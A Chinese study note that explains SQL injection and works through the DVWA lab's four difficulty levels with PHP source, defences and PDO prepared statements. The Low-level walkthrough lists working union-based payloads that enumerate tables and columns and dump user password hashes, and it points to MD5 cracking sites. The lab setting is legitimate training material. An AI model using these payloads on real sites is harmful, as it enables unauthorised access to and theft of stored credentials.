#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
漏洞原理
恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。SQL注入攻击分类:
(1)注入点的不同分类:数字类型的注入、字符串类型的注入
(2)提交方式的不同分类:GET注入、POST注入、COOKIE注入、HTTP注入
(3)获取信息的方式不同分类:基于布尔的盲注、基于时间的盲注、基于报错的注入
漏洞危害
- 盗取用户数据和隐私,这些数据被打包贩卖,或用于非法目的后,轻则损害企业品牌形象,重则将面临法律法规风险。
- 攻击者可对目标数据库进行“增删改查”,一旦攻击者删库,企业整个业务将陷于瘫痪,极难恢复。
- 植入网页木马程序,对网页进行篡改,发布一些违法犯罪信息。
- 攻击者添加管理员帐号。即便漏洞被修复,如果企业未及时察觉账号被添加,则攻击者可通过管理员帐号,进入网站后台。
防御措施
- 定制黑名单:将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。
- 限制查询长度:由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。
- 限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,凡不符合该类型的提交就认为是非法请求。
- 白名单法:该方法只对部分程序有效,对一些请求内容相对固定的程序,可以制定请求内容的白名单,如:某程序接受的请求只有数字,且数字为1至100,这样可以检查程序接受的请求内容是否匹配,如果不匹配,则认为是非法请求。
- 设置数据库权限:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
- 限制目录权限:WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
- 绑定变量,使用预编译语句。 MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法。实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构,像上面例子中,username变量传递的plhwin’ AND 1=1-- hack参数,也只会当作username字符串来解释查询,从根本上杜绝了SQL注入攻击的发生。
靶场实战
Low难度
源码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
以看到这里没有进行任何的过滤,只是一个简单的id查询语句,且是用单引号闭合,很显然是字符型。
漏洞复现
接下来直接开始注入流程:
1、判断是否存在注入,注入是字符型还是数字型(一般看是否有单引号闭合)
输入1,查看结果返回了id,First name,Surname
输入1 and 1=1和1 and =1=2 如果回显不同,则为数字型。可以看到这里回显的内容中除了输入的id其他内容没变,所以判断不是数字型。
输入
1’and 1 = 1 --和1 ‘and 1 = 2 –
如果回显不同,则为字符型。可以看到一个正常显示,一个查询错误,结果返回为空,所以显然这里为字符型。
2、猜解SQL查询语句中的字段数
输入
1’ order by 1 –
查询成功,说明有第一列,也就有一个字段。
输入
1’ order by 2 –
查询成功,说明有第二列,也就有两个字段。
输入
1’ order by 3 –
查询失败,说明只有两个字段。
也可以通过union select 1,2,3…来猜测字段数:
输入
1’ union select 1,2,3 –
报错
输入
1’ union select 1,2 –
成功
3、确定显示的字段顺序
同样用
1’ union select 1,2 –
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
4、获取当前数据库及版本信息
输入
1’ union select version(), database() –
5、获取数据库中的表
输入
1’ union select 1,group_concat(table_name) from
information_schema.tables where table_schema = database() –
可以看到两个表名
6、获取表中的字段名
输入
1’ union select 1,group_concat(column_name) from
information_schema.columns where table_name = ‘users’ –
7、查看具体的字段值
输入
1’ union select user,password from users –
这里可以看到admin和其password的md5加密值,去网上找个md5解码器解密即可得到密码。https://www.somd5.com/
https://cmd5.com/
Medium难度
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
可以看到这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。
漏洞复现
这里采用的绕过措施是用burpsuite抓包,然后按照上面的sql注入流程一步步修改id来重新发包更新数据,直到获取管理员账户和密码。
High难度
源码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到添加了limit 1 做限制,说明扫出一个结果就不向下扫描了,只输出一个结果。
而且可以看到查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
漏洞复现
这里对limit 1 做限制直接采用注释符#、-- 过滤掉,然后依旧按照low上面的注入步骤获取管理员账户和密码。
Impossible难度
源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可见该段代码使用了PDO技术,将输入与代码分隔开,这样便完全断隔了sql注入攻击。
PDO技术:
1、在SQL语句实例化对象之后,对请求mysql的sql语句做预处理。在这里,我们使用了占位符的方式,将该sql传入prepare函数后,预处理函数就会得到本次查询语句的sql模板类,并将这个模板类返回,模板可以防止传那些有猫腻的变量改变本身查询语句的语义。
2、对sql模板绑定参数,可以使用两种方法,bindValue和bindParam,通过代码能看出区别,bindValue是传入值,bindParam是传入变量。其中两个函数中的第一个参数“数字”代表为占位符中的第几个参数。
3、execute( )执行预准备语句,fetchAll( )返回包含所有结果集行的数组。
在php5.3.6之后,PDO不会在本地对sql进行拼接然后将拼接后的sql传递给mysql server处理(也就是不会在本地做转义处理)。PDO的处理方法是在prepare函数调用时,将预处理好的sql模板(包含占位符)通过mysql协议传递给mysql server,告诉mysql server模板的结构以及语义。当调用execute时,将两个参数传递给mysql server。由mysql server完成变量的转移处理。将sql模板和变量分两次传递,即解决了sql注入问题。
又是朴实无华的一天!!!!!!!!!!!!